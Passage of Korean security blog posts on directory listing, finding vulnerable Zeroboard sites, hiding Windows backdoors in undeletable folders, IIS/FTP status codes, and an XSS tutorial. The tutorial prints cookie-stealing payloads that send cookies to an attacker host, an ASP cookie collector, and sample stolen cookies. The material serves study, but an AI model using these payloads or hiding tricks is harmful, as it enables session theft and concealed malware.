이 취약점으로 인하여 웹 어플리케이션의 구조를 파악 할 수가 있으며, 디렉토리 나열 취약점이 존재하는 디렉토리에 기타 여러 가지 백업 파일이 존재 하고 있을 때는 소스 코드 및 중요한 정보들이 공격자에게 바로 노출이 되어질 수가 있다.



디렉토리 나열 취약점이 존재 하는 사이트를 검색하여 해당 사이트의 파일 목록을 획득 할 수가 있다.
획득한 파일 목록을 확인 하여 보면 DB 접속 정보를 가지고 있는 Config_sql.pm라는 파일과 그 경로를 알 수가 있으며, 공격자는 이 정보를 이용하여 해당 파일에 있는 정보(host, 계정, 패스워드, DB명)을 획득 할 수가 있다.

제로보드 4.1 pl 5 버전의 취약점이 존재하는 사이트 검색

제로보드 취약점 중 Include injection(또는 php Injection)의 취약점이 2005년 1월 10일에 발표 되었다.
이 취약점은 제로보드 4.1 pl 5 이전 버전에 존재하는 취약점으로 공격자로부터 WebShell 획득의 결과까지 유발할 수 있는 매우 위험한 취약점 중의 하나이다.
제로보드는 우리나라에 가장 많이 사용되고 쉽게 구현할 수 있는 공개 게시판으로, 다른 취약점에 비해보다 민감한 부분이며, 주로 초보 웹 관리자들이 많이 사용한다는 점에 그 문제의 심각성이 크게 대두될 수가 있다.
구글 검색 엔진을 이용하여 제로보드를 사용하는 사이트를 검색 후, 만일 취약한 버전이라고 확인되면공격자로부터 침해사고를 당할 수가 있다.


댓글

(백도어 은닉 방법)

공부 ? 2010.09.24 댓글 내꿈은보신탕

※ 주의 : 학습용이니 악용하지 말 것 ! 책임은 본인 스스로 .......

보통 Windows에 설치되는 백도어, 루트킷, 트로이목마 백도어들은 대부분 정상적인 파일 이름을 갖고 있으나 위치도 User 가 모르는 곳에 (80% 이상이 Windows 폴더 안에 있음) 위치하게 된다.
요즘 백신이 워낙?은 모르겠고 대충 잡아서 어지간하면 탐지가 되기 마련이다.
하지만 05년도에 중국에서 유행했던 백도어 은닉 방법을 간단히 소개 하고자 한다.

□ 공격 유형 : 디렉토리 및 파일 은폐

□ 대상 OS : Windows 2000 / XP / 2003 /7

□ 방법

1)  C드라이브에 폴더를 만듬 (폴더명 : s)

2) s폴더 밑에 s1폴더를 만듬

3) mkdir s.\ 이 명령을 실행하면 이미 존재한다고 나옴

4) s..\ 폴더를 만듬 : 확인해 보면  s..\ 는 s. 으로 보이며 s. 폴더밑에  s1폴더가 존재

5) s...\ 폴더를 생성 : 확인해 보면 s.. 폴더로 나옴

 


□ 특징 : s.. 폴더는 열 수는 있지만 삭제할 수는 없으며 s. 폴더를 삭제해보면 삭제가 가능하다 그러나 s 폴더는 열거나 실행할 수도 삭제할 수도 없지만 파일이나 폴더 등은 넣을 수 있다.

□ 악용사례 : s.. 폴더 이름을 Windows System 이라고 한다면 ???


댓글

[참고] 웹 페이지 오류(에러) 코드

공부 ? 2010.09.24 댓글 내꿈은보신탕


기본적으로 IIS는 %WINDIR\System32\Logfiles에 해당 로그 파일을 저장합니다. 이 디렉터리에는 각 WWW(World Wide Web) 및 FTP 사이트에 대한 별도의 디렉터리가 포함됩니다. 기본적으로 로그는 디렉터리에서 매일 만들어지고 날짜를 포함하는 이름(예: exYYMMDD.log)으로 지정됩니다.

HTTP
1xx - 정보 전달용

이 상태 코드는 임시 응답을 나타냅니다. 클라이언트가 정식 응답을 받으려면 하나 이상의 1xx 응답을 받을 준비가 되어 있어야 합니다.
• 100 - 계속 작업합니다.
• 101 - 프로토콜을 전환합니다.

2xx - 완료

상태 코드의 이 클래스는 서버가 클라이언트 요청을 받아들였음을 나타냅니다.
• 200 - 클라이언트 요청이 성공했습니다.
• 201 - 만들어졌습니다.
• 202 - 받아들여졌습니다.
• 203 - 권한이 없는 정보입니다.
• 204 - 내용이 없습니다.
• 205 - 내용을 다시 설정합니다.
• 206 - 일부 내용

3xx - 리디렉션

클라이언트 브라우저는 요청을 처리하기 위해 좀더 조치를 취해야 합니다. 예를 들어, 브라우저는 서버에서 다른 페이지를 요청해야 하거나 프록시 서버를 사용하여 요청을 반복해야 할 수 있습니다.
• 302 - 개체 이동 
• 304 - 수정되지 않았습니다.
• 307 - 임시 리디렉션

4xx - 클라이언트 오류

오류가 발생하고 클라이언트에 문제가 있는 것으로 나타납니다. 예를 들어, 클라이언트가 존재하지 않는 페이지를 요청하거나 올바른 인증 정보를 제공하지 않을 수도 있습니다.
• 400 - 요청이 잘못되었습니다.
• 401 - 액세스가 거부되었습니다. IIS는 오류의 원인을 보다 구체적으로 나타내는 여러 다른 401 오류를 정의합니다. 이러한 특정 오류 코드는 브라우저에 표시되지만 IIS 로그에는 표시되지 않습니다.
• 401.1 - 로그온하지 못했습니다. 
• 401.2 - 서버 구성으로 인해 로그온하지 못했습니다. 
• 401.3 - 리소스의 ACL에 의해 액세스가 거부되었습니다.
• 401.4 - 필터에 의해 권한을 부여하지 못했습니다.
• 401.5 - ISAPI/CGI 응용 프로그램에 의해 권한을 부여하지 못했습니다. 
• 401.7 - 웹 서버의 URL 인증 정책에 의해 액세스가 거부되었습니다. 이 오류 코드는 IIS 6.0에만 해당됩니다.
 
• 403 - 금지. IIS는 오류의 원인을 보다 구체적으로 나타내는 여러 다른 403 오류를 정의합니다. • 403.1 - 실행 액세스 금지
• 403.2 - 읽기 액세스 금지
• 403.3 - 쓰기 액세스 금지
• 403.4 - SSL이 필요합니다.
• 403.5 - SSL 128이 필요합니다.
• 403.6 - IP 주소가 거부되었습니다.
• 403.7 - 클라이언트 인증서가 필요합니다.
• 403.8 - 사이트 액세스가 거부되었습니다.
• 403.9 - 사용자가 너무 많습니다.
• 403.10 - 구성이 올바르지 않습니다.
• 403.11 - 암호 변경
• 403.12 - 매퍼가 액세스를 거부했습니다.
• 403.13 - 클라이언트 인증서를 취소했습니다.
• 403.14 - 디렉터리 목록이 거부되었습니다.
• 403.15 - 클라이언트 액세스 라이센스가 초과되었습니다.
• 403.16 - 클라이언트 인증서가 신뢰되지 않거나 잘못되었습니다.
• 403.17 - 클라이언트 인증서가 만료되었거나 아직 유효하지 않습니다.
• 403.18 - 현재 응용 프로그램 풀에서 요청된 URL을 실행할 수 없습니다. 이 오류 코드는 IIS 6.0에만 해당됩니다.
• 403.19 - 이 응용 프로그램 풀에서 클라이언트에 대한 CGI를 실행할 수 없습니다. 이 오류 코드는 IIS 6.0에만 해당됩니다.
• 403.20 - Passport 로그온에 실패했습니다. 이 오류 코드는 IIS 6.0에만 해당됩니다.
 
• 404 - 찾을 수 없습니다. • 404.0 - (없음) - 파일 또는 디렉터리를 찾을 수 없습니다.
• 404.1 - 요청된 포트에서 웹 사이트에 액세스할 수 없습니다.
• 404.2 - 웹 서비스 확장 잠금 정책으로 인해 이 요청이 방지됩니다.
• 404.3 - MIME 맵 정책으로 인해 이 요청이 방지됩니다.
 
• 405 - 이 페이지에 액세스하는 데 사용되는 HTTP 동사를 허용할 수 없습니다(메서드를 허용할 수 없음). 
• 406 - 클라이언트 브라우저가 요청된 페이지의 MIME 형식을 받아들이지 않습니다.
• 407 - 프록시 인증이 필요합니다.
• 412 - 전제 조건이 실패했습니다.
• 413 - 요청 엔터티가 너무 큽니다.
• 414 - 요청 URI가 너무 깁니다.
• 415 - 지원되지 않는 미디어 유형입니다.
• 416 - 요청된 범위를 충족시킬 수 없습니다.
• 417 - 실행하지 못했습니다.
• 423 - 잠금 오류

5xx - 서버 오류

서버에 오류가 발생하여 요청을 완료할 수 없습니다.
• 500 - 내부 서버 오류
• 500.12 - 응용 프로그램이 웹 서버에서 다시 시작되는 중입니다.
• 500.13 - 웹 서버 사용량이 많습니다.
• 500.15 - Global.asa의 직접 요청을 허용할 수 없습니다.
• 500.16 - UNC 인증 자격 증명이 잘못되었습니다. 이 오류 코드는 IIS 6.0에만 해당됩니다.
• 500.18 - URL 인증 저장소를 열 수 없습니다. 이 오류 코드는 IIS 6.0에만 해당됩니다.
• 500.100 - 내부 ASP 오류
 
• 501 - 헤더 값이 구현되지 않은 구성을 지정합니다.
• 502 - 웹 서버가 게이트웨이나 프록시 역할을 하는 동안 잘못된 응답을 받았습니다. • 502.1 - CGI 응용 프로그램이 시간을 초과했습니다.
• 502.2 - CGI 응용 프로그램에서 오류가 발생했습니다.
 
• 503 - 서비스를 사용할 수 없습니다. 이 오류 코드는 IIS 6.0에만 해당됩니다.
• 504 - 게이트웨이가 시간을 초과했습니다.
• 505 - HTTP 버전이 지원되지 않습니다.

일반 HTTP 상태 코드와 그 원인
• 200 - 성공했습니다. 이 상태 코드는 IIS가 요청을 성공적으로 처리했음을 나타냅니다.
• 304 - 수정되지 않았습니다. 클라이언트가 이미 해당 캐시에 있는 문서를 요청하고 이 문서는 캐시된 이후로 수정되지 않았습니다. 클라이언트가 서버에서 문서를 다운로드하는 대신 문서의 캐시된 복사본을 사용합니다.
• 401.1 - 로그온하지 못했습니다. 올바르지 않은 사용자 이름이나 암호로 인해 로그온 시도가 실패했습니다.
• 401.3 - 리소스의 ACL에 의해 액세스가 거부되었습니다. 이것은 NTFS 사용 권한에 문제가 있음을 나타냅니다. 이 오류는 액세스하려는 파일의 사용 권한이 올바른 경우에도 발생할 수 있습니다. 예를 들어, IUSR 계정에 C:\Winnt\System32\Inetsrv 디렉터리에 대한 액세스 권한이 없는 경우 이 오류가 나타납니다. 이 문제를 해결하는 방법에 대한 자세한 내용은 Microsoft 기술 자료의 다음 문서를 참조하십시오.
187506 (http://support.microsoft.com/kb/187506/) IIS 사이트의 작동에 필요한 NTFS 권한 목록 
• 403.1 - 실행 액세스 금지. 이 오류 메시지의 두 가지 일반적인 원인은 다음과 같습니다. • 실행 권한이 부족합니다. 예를 들어, 사용 권한이 없음으로 설정되는 디렉터리에서 ASP 페이지에 액세스하려고 하거나 디렉터리에서 스크립트 권한으로 CGI 스크립트를 실행하려고 하는 경우 이 오류 메시지가 나타납니다. 실행 권한을 수정하려면 MMC(Microsoft Management Console)에서 해당 디렉터리를 마우스 오른쪽 단추로 누르고 등록 정보를 누른 다음 디렉터리 탭을 누르고 실행 권한 설정이 액세스하려는 콘텐츠에 적절한지 확인합니다.
• 실행하려는 파일 형식에 대한 스크립트 매핑은 사용 중인 동사(예: GET 또는 POST)를 인식하도록 설정되지 않습니다. 이 작업을 확인하려면 MMC에서 디렉터리를 마우스 오른쪽 단추로 누르고 등록 정보를 누른 다음 디렉터리 탭에서 구성을 누르고 해당 파일 형식에 대한 스크립트 매핑이 사용 중인 동사를 허용하도록 설정되었는지 확인합니다.
 
• 403.2 - 읽기 액세스 금지. IIS가 디렉터리에 대한 읽기 액세스 권한을 허용하도록 설정되었는지 확인합니다. 또한 기본 문서를 사용하려면 이 문서가 있는지 확인합니다. 이 문제의 해결 방법에 대한 자세한 내용은 Microsoft 기술 자료의 다음 문서를 참조하십시오.
247677 (http://support.microsoft.com/kb/247677/) 오류 메시지: 403.2 Forbidden: Read Access Forbidden
• 403.3 - 쓰기 액세스 금지. IIS 사용 권한 및 NTFS 사용 권한이 디렉터리에 대한 쓰기 액세스 권한을 부여하도록 설정되었는지 확인합니다.이 문제의 해결 방법에 대한 자세한 내용은 Microsoft 기술 자료의 다음 문서를 참조하십시오.
248072 (http://support.microsoft.com/kb/248072/) 오류 메시지: 403.3 Forbidden: Write Access Forbidden
• 403.4 - SSL이 필요합니다. 보안 채널 필요 옵션을 해제하거나 HTTP 대신 HTTPS를 사용하여 페이지에 액세스합니다. 인증서가 설치되어 있지 않은 웹 사이트에 대해 이 오류가 나타나면 Microsoft 기술 자료의 다음 문서를 참조하십시오.
224389 (http://support.microsoft.com/kb/224389/) 오류 메시지: HTTP Error 403, 403.4, 403.5 Forbidden: SSL Required
• 403.5 - SSL 128이 필요합니다. 128비트 암호화 필요 옵션을 해제하거나 128비트 암호화를 지원하는 브라우저를 사용하여 페이지를 봅니다. 인증서가 설치되어 있지 않은 웹 사이트에 대해 이 오류가 나타나면 Microsoft 기술 자료의 다음 문서를 참조하십시오.
224389 (http://support.microsoft.com/kb/224389/) 오류 메시지: HTTP Error 403, 403.4, 403.5 Forbidden: SSL Required
• 403.6 - IP 주소가 거부되었습니다. 현재 IP 주소에 대한 액세스가 거부되도록 서버가 구성되었습니다. 이 문제의 해결 방법에 대한 자세한 내용은 Microsoft 기술 자료의 다음 문서를 참조하십시오.
248043 (http://support.microsoft.com/kb/248043/) 오류 메시지: 403.6 - 금지: IP 주소 거부
• 403.7 - 클라이언트 인증서가 필요합니다. 서버가 클라이언트 인증의 인증서를 요구하도록 구성되었지만 올바른 클라이언트 인증서가 설치되어 있지 않습니다. 자세한 내용은 Microsoft 기술 자료의 다음 문서를 참조하십시오.
190004 (http://support.microsoft.com/kb/190004/) Error 403.7 또는 'Connection to Server Could Not Be Established'
186812 (http://support.microsoft.com/kb/186812/) PRB: 오류 메시지: 403.7 사용 금지: 클라이언트 인증서가 필요함
• 403.8 - 사이트 액세스가 거부되었습니다. 서버에 액세스하는 데 사용하는 도메인의 도메인 이름 제한이 설정되었습니다.이 문제의 해결 방법에 대한 자세한 내용은 Microsoft 기술 자료의 다음 문서를 참조하십시오.
248032 (http://support.microsoft.com/kb/248032/) 오류 메시지: Forbidden: Site Access Denied 403.8
• 403.9 - 사용자가 너무 많습니다. 서버에 연결된 사용자 수가 설정되어 있는 연결 제한을 초과합니다. 이 제한을 변경하는 방법에 대한 자세한 내용은 Microsoft 기술 자료의 다음 문서를 참조하십시오.
248074 (http://support.microsoft.com/kb/248074/) 오류 메시지: 액세스 금지: 연결된 사용자가 너무 많습니다. 403.9
참고: Microsoft Windows 2000 Professional 및 Microsoft Windows XP Professional에서 IIS는 연결이 10개로 자동 제한됩니다. 이 제한을 변경할 수 없습니다.
• 403.12 - 매퍼가 액세스를 거부했습니다. 액세스하려는 페이지에 클라이언트 인증서가 필요하지만 클라이언트 인증서에 매핑된 사용자 ID로는 파일에 액세스할 수 없습니다. 자세한 내용은 Microsoft 기술 자료의 다음 문서를 참조하십시오.
248075 (http://support.microsoft.com/kb/248075/) 오류: HTTP 403.12 - Access Forbidden: Mapper Denied Access
• 404 - 찾을 수 없습니다. 이 오류는 액세스하려는 파일이 이동되거나 삭제된 경우에 발생합니다. URLScan 도구를 설치한 후 제한된 파일 확장명을 갖는 파일에 액세스하려고 하는 경우에도 발생합니다. 이 경우 로그 파일 항목에서 해당 요청에 대해 "Rejected by URLScan"이 나타납니다.
• 500 - 내부 서버 오류. 광범위한 서버쪽 오류에 대해 이 오류 메시지가 나타납니다. 이벤트 뷰어 로그에는 이 오류가 발생하는 이유에 대한 자세한 내용이 포함될 수 있습니다. 또한 HTTP 오류 메시지를 해제하여 오류에 대한 자세한 설명을 나타낼 수 있습니다. HTTP 오류 메시지를 해제하는 방법에 대한 자세한 내용은 Microsoft 기술 자료의 다음 문서를 참조하십시오.
294807 (http://support.microsoft.com/kb/294807/) HOWTO: 서버쪽에서 Internet Explorer 5 'HTTP 오류 메시지 표시' 기능 해제
• 500.12 - 응용 프로그램 다시 시작. 이 동작은 IIS가 응용 프로그램을 다시 시작하고 있는 중에 ASP 페이지를 로드하려고 했음을 나타냅니다. 이 메시지는 페이지를 새로 고치면 사라집니다. 페이지를 새로 고쳐도 이 메시지가 나타나면 Global.asa 파일을 검색 중인 바이러스 백신 소프트웨어가 원인일 수 있습니다. 자세한 내용은 Microsoft 기술 자료의 다음 문서를 참조하십시오.
248013 (http://support.microsoft.com/kb/248013/) 오류 메시지: HTTP 오류 500-12 응용 프로그램 다시 시작
• 500-100.ASP - ASP 오류. 코드에 오류가 있는 ASP 페이지를 로드하려고 하면 이 오류 메시지가 나타납니다. 오류에 대한 좀더 구체적인 정보를 보려면 HTTP 오류 메시지를 해제합니다. 기본적으로 이 오류는 기본 웹 사이트에서만 사용할 수 있습니다.기본이 아닌 웹 사이트에서 이 오류를 보는 방법에 대한 자세한 내용은 Microsoft 기술 자료의 다음 문서를 참조하십시오.
261200 (http://support.microsoft.com/kb/261200/) 500-100.asp의 ASP 오류 메시지 대신 HTTP 500 오류 메시지가 나타난다
• 502 - 불량 게이트웨이. 유효한 HTTP 헤더 세트를 반환하지 않는 CGI 스크립트를 실행하려고 하면 이 오류 메시지가 나타납니다.

FTP
1xx - 긍정적인 예비 회신

이 상태 코드는 동작이 시작되었지만 클라이언트가 새 명령을 계속 수행하기 전에 다른 회신을 기대한다는 것을 나타냅니다.
• 110 마커 회신을 다시 시작합니다.
• 120 nnn 분 내에 서비스 준비
• 125 데이터 연결이 이미 열려 있고 전송을 다시 시작합니다.
• 150 파일 상태에 문제가 없으며 지금 데이터 연결을 열려고 합니다.

2xx - 긍정적인 완료 회신

동작이 완료되었습니다. 클라이언트가 새 명령을 실행할 수 있습니다.
• 200 명령에 문제가 없습니다.
• 202 명령이 구현되지 않으며 이 사이트에 불필요합니다.
• 211 시스템 상태 또는 시스템 도움말 회신
• 212 디렉터리 상태
• 213 파일 상태
• 214 도움말 메시지
• 215 NAME 시스템 형식. 여기서 NAME은 지정된 번호(Assigned Numbers) 문서 목록의 공식 시스템 이름입니다.
• 220 새 사용자에게 서비스가 준비되었습니다.
• 221 서비스가 컨트롤 연결을 닫습니다. 필요한 경우 로그아웃됩니다.
• 225 데이터 연결을 열지만 전송하지 않습니다.
• 226 데이터 연결을 닫습니다. 요청된 파일 동작에 성공했습니다(예: 파일 전송 또는 파일 중단).
• 227 Passive 모드 입력(h1,h2,h3,h4,p1,p2)
• 230 사용자가 로그인하여 진행합니다.
• 250 요청된 파일 동작이 문제 없이 완료되었습니다.
• 257 "PATHNAME"이 만들어졌습니다.

3xx - 긍정적인 중간 회신

명령이 성공했지만 서버에는 요청을 처리하는 데 클라이언트의 추가 정보가 필요합니다.
• 331 사용자 이름에 문제가 없으며 암호가 필요합니다.
• 332 로그인을 위해 계정이 필요합니다.
• 350 좀더 자세한 정보를 보류 중인 요청된 파일 동작입니다.
 
4xx - 일시적인 부정적 완료 회신

명령이 성공하지 못했지만 오류는 일시적입니다. 클라이언트가 명령을 다시 시도하면 성공할 수도 있습니다.
• 421 서비스를 사용할 수 없으며 컨트롤 연결을 닫습니다. 이것은 서비스가 프로그램을 종료해야 함을 아는 경우 명령에 대한 응답이 될 수 있습니다.
• 425 데이터 연결을 열 수 없습니다.
• 426 연결이 닫히고 전송이 중단됩니다.
• 450 요청된 파일 동작이 수행되지 않았습니다. 파일을 사용할 수 없습니다(예: 파일 사용 중).
• 451 요청된 동작이 중단되었습니다. 처리 중 로컬 오류가 발생했습니다.
• 452 요청된 동작이 수행되지 않았습니다. 시스템의 저장 공간이 부족합니다.
 
5xx - 영구적인 부정적 완료 회신

명령이 성공하지 못했으며 오류는 영구적입니다. 클라이언트가 명령을 다시 시도하면 같은 오류가 나타납니다.
• 500 구문 오류, 명령을 인식할 수 없습니다. 여기에는 명령줄이 너무 긴 경우와 같은 오류가 포함됩니다.
• 501 매개 변수 또는 인수의 구문 오류입니다.
• 502 명령이 구현되지 않았습니다.
• 503 명령 순서가 잘못되었습니다.
• 504 해당 매개 변수에 대해 명령이 구현되지 않았습니다.
• 530 로그인되지 않았습니다.
• 532 파일을 저장하는 데 계정이 필요합니다.
• 550 요청된 동작이 수행되지 않았습니다. 파일을 사용할 수 없습니다(예: 파일 없음. 액세스 못함).
• 551 요청된 동작이 중단되었습니다. 페이지 형식을 알 수 없습니다.
• 552 요청된 파일 동작이 중단되었습니다. 현재 디렉터리 또는 데이터 집합에 대해 저장소 할당이 초과되었습니다.
• 553 요청된 동작이 수행되지 않았습니다. 파일 이름을 허용할 수 없습니다.

일반 FTP 상태 코드와 그 원인
• 150 - FTP는 두 가지 포트를 사용합니다. 즉, 명령을 보내는 경우에는 21을 사용하고 데이터를 보내는 경우에는 20을 사용합니다. 상태 코드 150은 서버가 포트 20에서 새 연결을 열어 데이터를 보내려고 한다는 것을 나타냅니다.
• 226 - 이 명령은 포트 20에서 데이터 연결을 열어 파일 전송과 같은 동작을 수행합니다. 이 동작이 완료되고 데이터 연결이 닫힙니다.
• 230 - 이 상태 코드는 클라이언트가 올바른 암호를 보낸 후에 나타납니다. 사용자가 로그온되었음을 나타냅니다.
• 331 - 클라이언트가 사용자 이름을 보낸 후에 이 상태 코드가 나타납니다. 이 동일한 상태 코드는 제공된 사용자 이름이 시스템의 올바른 계정인지 여부에 관계없이 나타납니다.
• 426 - 이 명령은 데이터 연결을 열어 동작을 수행하지만 이 동작이 취소되고 데이터 연결이 닫힙니다.
• 530 - 이 상태 코드는 사용자 이름과 암호 조합이 유효하지 않으므로 사용자가 로그온할 수 없음을 나타냅니다. 사용자 계정을 사용하여 로그온하는 경우 사용자 이름 또는 암호를 잘못 입력했거나 익명 액세스만 허용하도록 선택했을 수 있습니다. 익명 계정으로 로그온하는 경우 IIS가 익명 액세스를 거부하도록 구성되었을 수도 있습니다.
• 550 - 이 명령은 지정된 파일을 사용할 수 없으므로 실행되지 않습니다. 예를 들어, 이 상태 코드는 존재하지 않는 파일을 가져오려고(GET) 하거나 쓰기 액세스 권한이 없는 디렉터리에 파일을 두려고(PUT) 하는 경우에 발생합니다.

댓글

XSS (기초)

공부 ? 2009.07.13 댓글 내꿈은보신탕

댓글

XSS (기초)

공부 ? 2009.07.13 댓글 내꿈은보신탕

A Table of Contents

Cross Site Scripting(XSS) concept
XSS Test
시나리오 #1
시나리오 #2
XSS 대응방안
Reference


Cross Site Scripting(XSS) concept

Cross Site Scripting은 사용자에게 공격 목적의 악의적인 웹 컨텐츠를 보내는 공격 방법이다. 공격자가 사용자에게 보내는 악의적인 웹 컨텐츠는 URL에 포함된 스크립트 코드이거나 보안에 취약한 웹 사이트의 폼 필드에 입력된 스크립트 코드가 될 수 있다.
일반적으로 HTML 코드에 의해 미리 정의된 위치에 평범한 텍스트 형태로 브라우저 상에 표현되지만 HTML은 그런 평범한 텍스트뿐만 아니라 다른 다양한 컨텐츠를 표현하고 Client Side Script Code 를 포함할 수 있다.
Client측 Script는 Sendbox 로 알려진 제한된 환경에서 동작하기 때문에 대부분의 경우 local에는 악영향을 미치지 않는다.
Cross Site Scripting 공격이 의미하는 바는 정확히 어느 한 사용자가 입력한 스크립트 코드를 다른 사용자의 컴퓨터에서 실행시키는 것 이다. 즉 XSS의 가장 큰 특징인 Server가 아닌 Client를 공격하는 것 이다.
Sendbox 덕분에 사용자는 심각한 침해로부터 보호 받을 수 있지만 Client Script Code는 코드에 명시된 파일이나 로컬 리소스에 접근해서 자신의 정해진 동작을 수행할 수 있어야 한다. 바로 이 점이 위험을 내포하고 있는 것이다 실행되는 스크립트 코드는 현재의 웹 페이지에 포함된 모든 정보에 접근할 수 있으며 악의적인 의도를 가진 공격자가 XSS를 이용해서 사용자의 쿠키를 훔쳐 낼 수 있고 마치 그 사용자인 것처럼 행세할 수도 있으며 다른 악의적인 사이트로 사용자를 이동시키거나 교묘히 웹 페이지 내용을 조작해서 사용자가 개인 정보를 입력하게 할 수도 있음을 의미한다.

 <script>document.images[29].src="http://img0.gmodules.com/ig/f/oKstlUEg20s/intl/ALL_kr/logo.gif"</script>

XSS공격은 주로 사용자의 SessionID 나 Cookie값을 훔쳐내어 권한을 훔쳐내는 기법이 사용되며.
본 문서에서는 Session 과 Cookie를 따로 설명 하지는 않고 Cookie Stealing 에서 자세히 다루겠다.

 

XSS 공격은 저장(Stored)XSS 와 반사(Reflected)XSS 이렇게 크게 두 가지가 있다.

우선 첫 번째로는 저장(Stored)XSS 에 대해 살펴보겠다. 저장XSS는 공격자가 XSS 보안 취약점 공격을 위해 가장 많이 살펴보는 곳이 같은 사이트를 방문하는 다른 사용자들에게 보이는 데이터를 입력하는 부분이다. 즉 메시지입력 부분, 방명록, 댓글, 등을 남기기 위해 사용자가 입력하는 부분이다. 공격자는 이러한 FORM필드 부분에 악의적인 스크립트를 저장하고 후에 어떤 사용자가 해당 사이트의 같은 곳을 방문하면 해당 스크립트가 웹 페이지에서 로드면서 코드가 실행되는 것이다.


두 번째로는 반사(Reflected)XSS 공격이며 반사()XSS 공격은 URL의 CGI 인자에 스크립트 코드를 삽입하는 것이다. 공격자가 이 메일을 이용해 어떤 웹 페이지 링크를 보내고 그 링크를 전달받은 사용자가 링크를 클릭하면 그 링크에 대한 웹 페이지가 로드 된다. 그 때 웹 페이지에 대한 링크 URL에 삽입된 스크립트 코드가 실행되면서 웹 페이지의 내용이 변경된다. 이 공격은 스크립트를 저장하기 위한 웹 사이트는 필요하지 않으며 사용자가 조작된 링크 주소를 클릭하면 링크에 대한 웹 페이지가 로드 되면서 그 스크립트 코드가 실행되기 때문이다.


공격 대상
사용자가 웹 사이트에 입력한 데이터를 해당 웹 사이트를 방문한 다른 사용자가 볼 수 있는 경우에 이 공격을 적용할 수 있다. XSS 공격에 취약한 부분이 발견 되었더라도 다른 사용자가 그 부분을 접하지 않으면 아무런 소용이 없다. 당연한 이야기 이지만 이유는 간단하다 XSS공격의 특징은 ServerSideScript 가 아니라 Client SideScript 이기 때문이다.

공격 수행 방법
HTML은 웹 페이지에 스크립트 코드를 삽입할 수 있는 여러 가지 메커니즘을 제공하며 그 중에서도 가장 명확한 것이 <script>…</script> 태그를 이용하는 것이다. 우선 공격할 FORM 필드에 <script>alert(“XSS Attack”)</script>를 이용하여 다음과 같이 메시지박스가 뜬다면 XSS 공격에 취약한 것으로 본다.

HTML 태그는 스크립트 삽입에 취약하다. 예를 들면 IMG 태그가 그런 경우라고 할 수 있다.
<img src=”path/image.gif> 

위의 img 태그를 다음과 같이 수정할 수 있다.

<img src=javascript:alert(“XSS alert!”)>
HTML 태그 전반적인 문제들이 있으며 STYLE, SRC, HREF, TYPE 속성을 지원하는 태그들이 대부분 마찬가지이기 때문에 HTML 태그 자체를 필터링하는 것은 어려운 일이다.
하지만 공격자는 단지 메시지 창을 띄우는 것이 아니라 공격자는 세션 ID를 포함하는 중요 정보를 얻고자 하며 <script>alert(document.cookie)</script>를 이용하여 쿠키의 값을 보여줄 수 있는 메시지 박스를 띄우도록 한다.

하지만 이런 쿠키정보는 공격자 입장에서는 아무런 도움이 되지 못한다. 공격자에게 도움이 되려면 원격으로 이 쿠키정보를 획득 할 수 있어야 하며 획득 할 수 있는 방법도 여러 가지가 존재한다. 실제적인 공격방법은 시나리오를 통해서 알아 보도록 하겠다.

XSS 입력 과정/공격절차


1. 공격자가 XSS 취약점이 존재하는 서버에 악성 스크립트를 게시
2. 관리자 또는 사용자가 로그인을 실시하고 토큰(Cookie 또는 SessionID)생성
3. 공격자가 게시한 악성 스크립트를 보거나 클릭
4. 관리자 또는 사용자의 토큰이 공격자에게 전송
5. 공격자가 해당 토큰을 이용/다른 사용자의 권한을 가장 또는 소유

XSS를 유발시킬 수 있는 대표적인 코드이다.


 Cross Site Scripting 의 효과

시스템의 특정명령을 실행 / SessionID & Cookie Stealing

XSS Filtering 우회 방법들은

http://ha.ckers.org/xss.html  참조하기 바란다.


XSS Test

시나리오 #1

자신의 웹 서버에 희생자 Cookie 남기기

 

가장 일반적이며 보편적인 공격방법이다.

공격자는 악성 스크립트를 XSS 취약점을 가지고 있는 게시판에 스크립트를 작성하여 공격자 사이트의 애플리케이션으로 이동시켜 Cookie값을 수집할 수 있다.

 

게시판에 다음과 같은 스크립트를 HTML 형식으로 등록한다

 <script>document.location='http://MyWeb/app?cookie='+document.cookie;</script>

공격자의 웹 서버에는 다음과 같은 어플리케이션이 있어야 한다.

코드의 내용은 상당히 간단하다 request객체로 Cookie을 인자로 하여 그 값을 파일에 쓰고 희생자가 눈치채지 못하게 다시 그 게시판으로 redirect 한다.


 <%

cookie=request("cookie")  '쿠키값 받기

 

Set fs = Server.CreateObject("Scripting.FileSystemObject")

           if fs.fileexists("c:\xss\xss.txt") then

           else

                     fs.createtextfile ("c:\xss\xss.txt"), true

           end if

 

Set objFile = fs.OpenTextFile("C:\xss\XSS.txt",8) '파일쓰기

 

objFile.writeLine("--------------------------------------------------------------")

objFile.writeLine(cookie)

objFile.close

 

response.redirect("http://Server/demoshop/shop_board/shop_board_list.asp")

%>


C:\xss\xss.txt 파일이 생기고 Cookie값이 등록이 된다.


C:\xss\xss.txt
파일을 확인하면 다음과 같은 결과가 발생한다.

 oyesorder=oyes_order=254302281; csig_oyesorder=YFqkdA657NYwJoHrca5I1w; ASPSESSIONIDCQRTDADQ=JEIFICPADIOAHHFHIHNLLHFC; csig_ASPSESSIONIDCQRTDADQ=J3D5r50hpkiOT7XdpZ9LJQ


쿠키 값을 얻었고 쿠키 값 안에 세션검증이 이루어 지지 않았다면 희생자 계정으로 로그인 할 수 있으며 로그인 이 가능하다는 이야기는 사용자의 정보를 전부 획득 할 수 있다는 결과를 가져온다.


시나리오 #2

OO 포털 XSS 테스트

OO 포털 XSS 가능한 부분과 XSS를 할 수 있는 다양한 방법을 생각해보고 시나리오#1 같은 방식으로 진행을 하겠다. 하지만 게시판에 <script> 태그의 방어정책이 수립 되어 있음을 먼저 생각해야 한다.

첫 번째 방법으로 단지 <script>태그만 막혀있으므로 HTML코드에 <script>태그를 삽입하여 공격하는 방식이며 두 번째 방법은 첨부파일을 통한 공격방법이다. 두 번째 공격은 독자 스스로가 실습을 해보도록 한다.

HTML 태그 중 IMG 라는 이미지 삽입 태그를 써서 공격을 하였다.

 <IMG SRC=javascript:document.location='http://MyWeb/Getcookie.asp?cookie='+document.cookie;>

희생자가 메일을 읽으면 다음과 같은 화면이 나타날 것이고 이 화면을 본 순간 희생자의 쿠키 값은 공격자의 웹 서버에 남게 된다.


공격자의 C:\xss\xss.txt 파일에는 쿠키 값이 남게 된다.


공격자는 훔친 쿠키로 로그인 해서 희생자의 개인정보를 알아낼 수 있다.

XSS 대응방안

기술적인 XSS 방어방법을 설명하기 이전에 어떤 것을 어떻게 해야 하는지부터 설명을 하겠다.

